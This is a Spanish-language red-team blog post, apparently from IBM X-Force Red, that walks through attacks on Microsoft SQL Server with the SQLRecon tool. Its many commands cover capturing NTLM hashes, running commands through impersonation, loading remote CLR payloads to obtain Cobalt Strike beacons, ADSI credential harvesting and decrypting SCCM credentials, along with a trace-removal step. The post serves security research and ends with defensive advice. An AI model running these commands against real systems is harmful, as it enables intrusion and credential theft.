A lo largo de mi carrera, he tenido la oportunidad privilegiada de mirar detrás del velo de algunas de las organizaciones más grandes del mundo. En mi experiencia, la mayoría de las verticales de la industria dependen de redes empresariales de Windows. De hecho, puedo contar con los dedos de una mano la cantidad de veces que he visto una red descentralizada de confianza cero, Linux empresarial, red macOS o alternativa de Active Directory (FreeIPA).
A medida que navego por estas grandes y, a menudo, complejas redes empresariales, es común descubrir Microsoft SQL Server, que normalmente se ha desplegado para dar soporte a una función empresarial. Para los lectores que no están familiarizados con SQL Server, en resumen, es un software de base de datos relacional que normalmente se instala sobre un servidor Windows. El propósito principal de SQL Server es almacenar y proporcionar datos a aplicaciones o usuarios.
Esta entrada en el blog revisará la superficie de ataque que presenta SQL Server y cómo abusar de configuraciones erróneas y vulnerabilidades utilizando la herramienta de X-Force Red
Las vulnerabilidades y errores de configuración en SQL Server están bien documentados. Si bien estas debilidades aparentemente siempre han existido, de alguna manera el fortalecimiento de SQL Server continúa siendo pasado por alto por los equipos defensivos. Me refiero principalmente a reforzar la configuración subyacente y evitar el acceso trivial al servicio.
Una justificación plausible para esta supervisión es que existen riesgos mayores que una organización debe priorizar y abordar. Como resultado, el endurecimiento de SQL Server se queda en segundo plano, ya que manipular configuraciones de bases de datos de producción puede provocar problemas de disponibilidad, que podrían manifestarse en problemas operativos y, en última instancia, impactar la productividad empresarial.
Boletín de la industria
Manténgase al día sobre las tendencias más importantes e intrigantes de la industria sobre IA, automatización, datos y más con el boletín Think. Consulte la Declaración de privacidad de IBM.
Su suscripción se entregará en inglés. En cada boletín, encontrará un enlace para darse de baja. Puede gestionar sus suscripciones o darse de baja aquí. Consulte nuestra Declaración de privacidad de IBM para obtener más información.
Una de las configuraciones erróneas más comunes que sigo viendo en las redes empresariales es la capacidad de cualquier objeto de dominio autenticado para conectarse al servicio SQL como una cuenta de privilegios bajos. Para ello, solo se necesita un contexto de dominio válido. En otras palabras, un token válido para un usuario de dominio o una cuenta de equipo de dominio.
Para ilustrar un ejemplo, si la estación de trabajo de un usuario empresarial habitual se ve comprometida y existe una ruta de red a un SQL Server mal configurado, es posible que un adversario:
Estos son solo algunos ejemplos de lo que un adversario puede lograr al evaluar un SQL Server mal configurado dentro de un contexto de dominio. La superficie de ataque presentada por SQL Server siempre dependerá del entorno y la configuración a los que se enfrente.
En los últimos tiempos, los operadores del equipo rojo han sido bendecidos por la variedad de abusos de Active Directory que se pueden aprovechar para elevar los privilegios en las redes empresariales de Microsoft. Sin embargo, a medida que los equipos defensivos comienzan a manejar la mitigación de estas debilidades, naturalmente, las vías para escalar los privilegios mediante el abuso de Active Directory tienden a agotarse.
Aún así, seguimos adelante y nos abrimos paso en la proverbial lista de ataques, buscando con optimismo vías de escalada que nos ayuden a actuar en función de nuestros objetivos. Me cuesta un poco admitir que, durante mucho tiempo, atacar SQL Server no era precisamente una de mis prioridades. En su lugar, opté por priorizar cosas como espacios de almacenamiento compartidos, aplicaciones web internas, herramientas de DevOps o infraestructura en la nube. Probablemente ya sabe a dónde voy con esto...
En algún momento de 2022, estaba trabajando en un proyecto y llegué a un punto muerto después de agotar todas las vías de escalada preferidas. Esto se debió en gran parte a un entorno excepcionalmente reforzado. Al menos, eso era lo que pensaba antes de descubrir una gran granja de SQL Server, donde solo tenía que haber un error de configuración o una vulnerabilidad.
Sin saberlo en ese momento, y solo después de escribir esta entrada en el blog, descubrí que Kaspersky había detectado que los ataques recurrentes con SQL Server habían aumentado un 56 % en 2022. Es una cantidad asombrosa.
Como operador del equipo rojo, a menudo interactúo con sistemas que he comprometido en las redes de nuestros clientes mediante una infraestructura de comando y control (C2). Los clientes con los que tenemos la suerte de trabajar suelen tener programas maduros de ciberseguridad, equipos defensivos capaces y controles de seguridad modernos, como soluciones de detección y respuesta de endpoints (EDR).
Se han desarrollado varias herramientas a lo largo de los años para atacar SQL Server. El que siempre terminé buscando durante mis días de pruebas de penetración fue
Las soluciones de EDR pueden ser un oponente formidable al que enfrentarse, ya que hacen un trabajo fantástico al detectar herramientas maliciosas de código abierto diseñadas para la seguridad ofensiva, especialmente aquellas que dependen de PowerShell. Eso no es para despreciar las herramientas posteriores a la explotación de PowerShell; tienen un propósito, solo que no para el problema que enfrentaba en el entorno en el que me encontraba.
El problema que tenía en mi compromiso era que necesitaba encontrar la manera de conectarme a Microsoft SQL Server y empezar a interrogarlo para determinar si había alguna configuración incorrecta o vulnerabilidad. Sin embargo, el uso de cualquiera de las herramientas posteriores a la explotación de SQL Server existentes, que dependen de PowerShell, habría sido una forma segura de ser atrapado por el equipo defensivo. Esto se debe a una variedad de razones, que no analizaré en detalle, pero PowerShell no es un arnés ideal para lanzar sus ataques posteriores a la explotación debido a características de seguridad como AMSI, modo de lenguaje restringido y varios estilos de registro. Esto solo se agrava aún más cuando se implementa una solución de EDR y otros controles de registro y monitoreo.
Como alternativa, los operadores del equipo rojo a menudo eligen C# como lenguaje para desarrollar herramientas posteriores a la explotación, ya que proporciona una manera fácil de interactuar con la infraestructura .NET junto con las API de Windows.
De ninguna manera soy un desarrollador de C# o .NET, pero sé lo suficiente como para escribir herramientas que resuelvan un problema al que me enfrento. Queue , un kit de herramientas C# SQL diseñado para el reconocimiento ofensivo y la explotación posterior.
Proveedores de autenticación
Módulos de enumeración
Ejecución de comandos, movimiento lateral y escalada de privilegios
Seguridad operativa
Otro
Para obtener información detallada sobre el uso de cada técnica, consulte la wiki.
Para preparar el escenario para las próximas demostraciones, operaré desde una estación de trabajo Windows 10 comprometida que pertenece a Jeff Smith
La estación de trabajo de Jeff tiene una ruta de red a tres SQL Servers, cada uno de los cuales ejecuta versiones diferentes; 2016, 2019 y 2022.
Se configuró un enlace SQL entre
Además, existe un enlace de Active Directory Services (ADSI) entre
Por último, el
Figura 1: Configuración de red
Además, aprovecharé Cobalt Strike, que es un marco de comando y control popular, para realizar tareas posteriores a la explotación desde la estación de trabajo comprometida de Jeff
Figura 2: Emisión del comando whoami
En el momento de redactar este documento,SQLRecon
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Figura 3: Descubrimiento de SQL Servers a través de la recopilación de SPN
Se llama al
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Figura 4: Obtención de información sobre SQL02
Un agradecimiento a Daniel Duggan (@_RastaMouse) por sus contribuciones a los módulos de enumeración en
Los módulos estándar se ejecutan sobre una única instancia de SQL Server.
En el siguiente ejemplo, utilizo el
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Figura 5: Enumeración de privilegios SQL para
De forma predeterminada,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Figura 6: Enumeración de bases de datos en
Puede conectarse a otras bases de datos especificando el nombre de la base de datos con la
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Figura 7: Obtención de datos de tarjetas ficticias de la
Pasando a algunos módulos más interesantes,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Figura 8: Inyección de ruta UNC
En la siguiente captura de pantalla, podemos ver la conexión realizada por
Figura 9: Obtención del hash NetNTLMv2 para
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Figura 10: Demostración de la barrera de protección que impide la ejecución de comandos
Como se ve en la imagen anterior, se encuentra una barrera de ejecución y se recibe un mensaje de error que indica que
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Figura 11: Demostración de otra barrera de seguridad, en la que la falta de privilegios impide la ejecución de comandos
Como era de esperar, la cuenta de privilegio bajo
La suplantación de identidad SQL es un permiso especial que, básicamente, permite a un usuario o grupo operar con los permisos de otro usuario, además de con sus propios permisos. La siguiente captura de pantalla se tomó de la configuración de backend de
Figura 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Como se ve en la captura de pantalla a continuación, la
Figura 13: Enumeración de cuentas que se pueden suplantar en
Para demostrar otro módulo de ejecución de comandos,
Los módulos de suplantación siempre están precedidos con la letra
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Figura 14: Habilitación de procedimientos de automatización OLE mediante suplantación
Ahora que los procedimientos de automatización OLE están habilitados en
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Figura 15: Uso de PowerShell para enumerar un directorio en un host remoto
Como se ve en la captura de pantalla anterior, se crea un objeto y método OLE generados aleatoriamente, luego se ejecuta el comando malicioso y se destruyen los objetos OLE. Esto es intencional, ya que no queremos dejar ninguna evidencia de nuestras acciones.
En la siguiente captura de pantalla, podemos ver la conexión que realiza la
Figura 16: Obtención del hash NetNTLMv2 para
El siguiente ejemplo demuestra el uso de la suplantación para ejecutar el
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Figura 17: Habilitación
Siempre es una buena práctica revertir las configuraciones al estado original.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Figura 18: Deshabilitar los procedimientos de automatización OLE y
Figura 19:
La configuración de un enlace entre dos instancias de SQL Server suele requerir un conjunto de credenciales privilegiadas para establecer y vincular el enlace. Esto es beneficioso para los adversarios, ya que permite ejecutar comandos en el SQL Server vinculado en el contexto de la cuenta que ha establecido la conexión. Otro punto a tener en cuenta es que los servidores vinculados pueden estar segmentados de la red en la que opera un adversario. Esto podría presentar la oportunidad de atravesar los límites de la segmentación e ingresar a una zona de red con mayores requisitos de seguridad.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Figura 20: Enumeración de SQL Server vinculados en
Los módulos vinculados siempre están precedidos con la letra
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Figura 21: Enumeración de los privilegios de SQL que podemos asumir en
Como se ve en la captura de pantalla anterior, estamos operando en el contexto de
Todos los módulos de ejecución en
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Figura 22: Habilitación de la integración CLR en
La integración CLR permite importar ensamblados .NET personalizados a SQL Server. Estos ensamblados se almacenan dentro de un procedimiento almacenado antes de ejecutarse. Este es un buen ataque de movimiento lateral primitivo.
En la siguiente captura de pantalla, creo un ensamblado .NET personalizado compatible con SQL Server CLR llamado
Figura 23:
Si está interesado en obtener más información sobre los ensamblados .NET personalizados compatibles con CLR SQL Server, visite la sección Clr del
En la siguiente demostración, subí
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Figura 24: Obtención de una baliza Cobalt Strike en el contexto de
Por supuesto, el ejemplo anterior requiere que
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Figura 25: Obtención de una baliza Cobalt Strike en el contexto de
Figura 26:
La configuración de un enlace ADSI desde una instancia de SQL Server a un controlador de dominio de Active Directory no requiere necesariamente credenciales privilegiadas. Sin embargo, durante las operaciones del mundo real, he visto casos en los que no se ha aplicado el principio de privilegio mínimo.
En el siguiente ejemplo, utilizo el
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Figura 27: Enumeración de enlaces en
Ahora que hemos verificado que existe un enlace ADSI en
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Figura 28: Ataque de recopilación de credenciales ADSI de doble enlace
Una de las mayores extensiones de
Simplemente me referiré tanto a ECM como a SCCM como SCCM a partir de este punto.
En el siguiente ejemplo, utilizo el módulo de bases de datos para enumerar las
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Figura 29: Enumeración de bases de datos en
Como se ve en la captura de pantalla anterior, el
Los módulos SCCM siempre se anteponen con la letra
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 30: Enumeración de todos los usuarios que pueden iniciar sesión en SCCM a través de la base de datos SCCM SQL Server
También es posible enumerar tareas que se han configurado en SCCM mediante el
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 31: Enumeración de tareas configuradas en SCCM a través de la base de datos SCCM SQL Server
Por lo general, SCCM necesitará guardar en una bóveda las credenciales, que se utilizan para autenticarse en sistemas o recursos en un entorno para desplegar paquetes de software o realizar cualquiera de las otras acciones proporcionadas por SCCM. Usando el
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Figura 32: Obtención de credenciales a través de la base de datos SCCM SQL Server
En la captura de pantalla anterior, podemos ver que se ha guardado una credencial en bóveda, y esta es la credencial para el
Usando la lógica de Adam Chester’s (@_xpn_) , es posible descifrar las credenciales en bóveda de SCCM y obtener la contraseña de texto claro para las cuentas en bóveda. Esto requiere privilegios de administrador local en el servidor SCCM. En la siguiente captura de pantalla, utilizo la
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Figura 33: Descifrado de credenciales SCCM en bóveda
Para evitar que los atacantes abusen de SQL Server, los defensores pueden adoptar un enfoque por capas al implementar controles de seguridad. Ante todo, recomendaría ampliamente leer la guía oficial de Microsoft sobre las mejores prácticas de seguridad en SQL Server.
La siguiente parada debería ser la orientación de prevención, detección y mitigación en el
Se deben considerar los siguientes controles de seguridad para su implementación a nivel de red.
estaciones de trabajo y servidores en el entorno.
Los ataques contra SQL Server continúan siendo relevantes en el escenario actual de ciberseguridad. Los adversarios evolucionan constantemente sus técnicas para evadir los controles defensivos y, al hacerlo, explotan cada vez más los servicios auxiliares, como SQL Server. Estos ataques se han vuelto más sofisticados y sigilosos, a menudo empleando técnicas menos comunes para eludir las medidas de seguridad tradicionales.
Al abusar de SQL Server, los adversarios pueden obtener acceso no autorizado a datos confidenciales, manipular bases de datos e incluso comprometer sistemas completos. Las consecuencias de tales ataques pueden ser graves y dar lugar a filtraciones de datos, pérdidas financieras y daños a la reputación de una organización.
Para mitigar el riesgo de estos ataques, es crucial que las organizaciones revisen sus configuraciones de SQL Server y adopten mejores prácticas de seguridad. Además, las organizaciones deben invertir en soluciones de seguridad que proporcionen capacidades de monitoreo en tiempo real, detección de anomalías y análisis de comportamiento. Estas soluciones pueden ayudar a detectar y responder a los ataques de manera más efectiva, minimizando el impacto potencial en datos y sistemas críticos. Al tomar medidas proactivas para proteger los entornos de SQL Server, las organizaciones pueden reducir significativamente el riesgo de ser víctimas de estos ataques y proteger sus valiosos activos de datos.
Siempre puede encontrar la última versión estable de
Si asiste a Black Hat Las Vegas y desea obtener más información, puede asistir a mi sesión: Abusar de Microsoft SQL Server con SQLRecon el jueves 10 de agosto a la 1:00 p. m. PT.